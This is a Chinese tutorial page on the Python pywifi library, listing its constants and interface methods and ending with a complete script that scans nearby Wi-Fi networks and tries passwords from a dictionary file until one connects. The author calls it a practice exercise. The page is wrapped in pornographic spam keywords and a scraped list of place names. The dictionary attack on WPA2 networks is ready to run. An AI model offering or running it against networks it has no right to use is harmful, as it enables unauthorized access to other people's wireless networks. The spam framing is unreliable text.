最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

python中pywifi的具體使用

 更新時間:2023年03月06日 09:14:59   作者:一只小余  
本文主要介紹了python中pywifi的具體使用,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧

寫在前面

無線AP(Access Point):即無線接入點

python的wifi管理模塊叫pywifi

安裝

pip install pywifi

pywifi

常量

接口狀態(tài)
Interface.status()將返回以下狀態(tài)代碼之一。

const.IFACE_DISCONNECTED # 無連接
const.IFACE_SCANNING # 掃描中
const.IFACE_INACTIVE # 激活
const.IFACE_CONNECTING    # 連接中
const.IFACE_CONNECTED    # 連接

身份驗證算法

身份驗證算法應輔助到配置文件中。 在正常情況下,幾乎所有AP都使用開放算法。

const.AUTH_OPEN    # 授權打開
const.AUTH_SHARED # 身份驗證共享

密鑰管理類型

密鑰管理類型應分配給配置文件。

對于普通 AP,如果

AP 不是安全設置,請將配置文件 AKM 設置為 。AKM_TYPE_NONE
AP 處于 WPA 模式,將配置文件 AKM 設置為 。AKM_TYUPE_WPAPSK
AP 處于 WPA2 模式,將配置文件 AKM 設置為 。AKM_TYUPE_WPA2PSK 
AKM_TYPE_WPA并由企業(yè) AP 使用。AKM_TYPE_WPA2

const.AKM_TYPE_NONE
const.AKM_TYPE_WPA
const.AKM_TYPE_WPAPSK
const.AKM_TYPE_WPA2
const.AKM_TYPE_WPA2PSK # 一般用這個

密碼類型
如果 akm 不是,則應將密碼類型設置為配置文件。 您可以參考要連接的AP的設置。AKM_TYPE_NONE

const.CIPHER_TYPE_NONE
const.CIPHER_TYPE_WEP
const.CIPHER_TYPE_TKIP
const.CIPHER_TYPE_CCMP

網(wǎng)絡配置文件
配置文件是我們要連接到的AP的設置。 配置文件的字段:

  • ssid- AP 的 ssid/wifi的名字
  • auth- AP 的身份驗證算法。
  • akm- AP 的密鑰管理類型。
  • cipher- AP 的密碼類型。
  • key (最佳) - AP 的鍵。 如果密碼不是 ,則應設置此項。CIPHER_TYPE_NONE

接口

接口是指我們用來執(zhí)行的 Wi-Fi 接口 Wi-Fi 操作(例如掃描、連接、斷開連接等)。

首先:獲取接口信息
通常,平臺中將只有一個Wi-Fi接口。 因此,使用索引 0 00 獲取 Wi-Fi 接口。

import pywifi

wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]

Interface.name()
獲取 Wi-Fi 接口的名稱。

Interface.scan()
觸發(fā)接口掃描 APs。

Interface.scan_results()
獲取上一次觸發(fā)掃描的結果。 將返回配置文件列表。
注意:因為每個 Wi-Fi 接口的掃描時間都是不同的。 2~8秒后撥打更安全。

Interface.add_network_profile(profile)
添加 AP 配置文件以便稍后連接。

Interface.remove_all_network_profiles()
卸下所有AP配置文件。

Interface.network_profiles()
通過返回配置文件列表獲取所有已保存的AP配置文件。

Interface.connect(profile)
通過給定配置文件連接到指定的 AP。注意。作為當前的設計,應該是 之前調用的被調用。add_network_profile(profile)connect(profile)

Interface.disconnect()
斷開當前 AP 連接。

Interface.status()
獲取當前狀態(tài)的狀態(tài)。

wifi連接代碼

pywifi原理就是操縱網(wǎng)卡,一個一個的試密碼,直到密碼正確,這時電腦也會連上這個wifi。
效率極低,就用來練手就行
害,加上2個字會過不了審核我不理解。這東西又不會真的拿去用,連接一次就得2秒,跑完字典不知道要多久去了。

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime


# 輸入wifi名稱
def wifi_scan():
? ? print("開始掃描wifi,請等待...")
? ? iface.scan() ?# 掃描
? ? time.sleep(3)
? ? results = iface.scan_results() ?# 掃描結果
? ? a = set()
? ? for data in results: ?# 每一個wifi創(chuàng)建一個對象
? ? ? ? if data.ssid not in a:
? ? ? ? ? ? a.add(data.ssid)
? ? ? ? ? ? print(data.ssid.encode('raw_unicode_escape').decode('utf-8'))


# 測試連接,返回鏈接結果
def wifi_connect(pwd):
? ? # 斷開所有連接
? ? iface.disconnect()
? ? time.sleep(0.5)

? ? # 測試網(wǎng)卡是否屬于斷開狀態(tài)
? ? wifi_status = iface.status()
? ? if wifi_status == const.IFACE_DISCONNECTED:
? ? ? ? # 創(chuàng)建WiFi連接文件
? ? ? ? profile = pywifi.Profile()
? ? ? ? # 要連接WiFi的名稱
? ? ? ? profile.ssid = name
? ? ? ? # 網(wǎng)卡的開放狀態(tài)
? ? ? ? profile.auth = const.AUTH_ALG_OPEN
? ? ? ? # wifi加密算法,一般wifi加密算法為wps
? ? ? ? profile.akm.append(const.AKM_TYPE_WPA2PSK)
? ? ? ? # 加密單元
? ? ? ? profile.cipher = const.CIPHER_TYPE_CCMP
? ? ? ? # 設定連接文件
? ? ? ? iface.add_network_profile(profile)
? ? ? ? # 調用密碼
? ? ? ? profile.key = pwd

? ? ? ? # 刪除所有連接過的wifi文件
? ? ? ? iface.remove_all_network_profiles()

? ? ? ? # 設定新的連接文件
? ? ? ? tep_profile = iface.add_network_profile(profile)
? ? ? ? iface.connect(tep_profile)

? ? ? ? # wifi連接時間
? ? ? ? time.sleep(1)
? ? ? ? if iface.status() == const.IFACE_CONNECTED:
? ? ? ? ? ? return True
? ? ? ? else:
? ? ? ? ? ? return False

? ? else:
? ? ? ? print("已有wifi連接")


def readPassword():
? ? print("開始破解:")
? ? # 密碼字典路徑"密碼本路徑"
? ? path = "路徑"
? ? i = 0
? ? # 打開密碼字典逐行讀取
? ? with open(path, 'r') as f:
? ? ? ? for line in f:
? ? ? ? ? ? pwd = line.strip('\n')
? ? ? ? ? ? if 8 < len(pwd) < 16:
? ? ? ? ? ? ? ? # 一行一行讀取
? ? ? ? ? ? ? ? i += 1
? ? ? ? ? ? ? ? if i % 10 == 0:
? ? ? ? ? ? ? ? ? ? print("正在進行第{}次嘗試".format(i))
? ? ? ? ? ? ? ? b = wifi_connect(pwd)
? ? ? ? ? ? ? ? if b:
? ? ? ? ? ? ? ? ? ? print("密碼已破解: ", pwd)
? ? ? ? ? ? ? ? ? ? print("WiFi已自動連接!??!")
? ? ? ? ? ? ? ? ? ? break


# 抓取網(wǎng)卡接口
wifi = pywifi.PyWiFi()
# 獲取第一個wifi接口
iface = wifi.interfaces()[0]
# 輸出全部wifi
wifi_scan()
# 輸入wifi名稱
name = input("請輸入wifi名稱:").encode('utf-8').decode('raw_unicode_escape')
start = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
print("破解WIFI密碼一共用了多長時間:{}".format(end - start))

到此這篇關于python中pywifi的具體使用的文章就介紹到這了,更多相關python pywifi內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

最新評論

清镇市| 四平市| 哈巴河县| 旅游| 通州市| 绥芬河市| 英山县| 普洱| 白沙| 苏尼特左旗| 万全县| 广平县| 图木舒克市| 太保市| 西安市| 叙永县| 新邵县| 长武县| 双牌县| 呼伦贝尔市| 呼和浩特市| 新和县| 合山市| 巴塘县| 巨野县| 南昌县| 高唐县| 新余市| 乌鲁木齐县| 东兴市| 玉山县| 洛南县| 黄骅市| 孝昌县| 高尔夫| 阳信县| 通渭县| 全州县| 西盟| 青阳县| 浦东新区|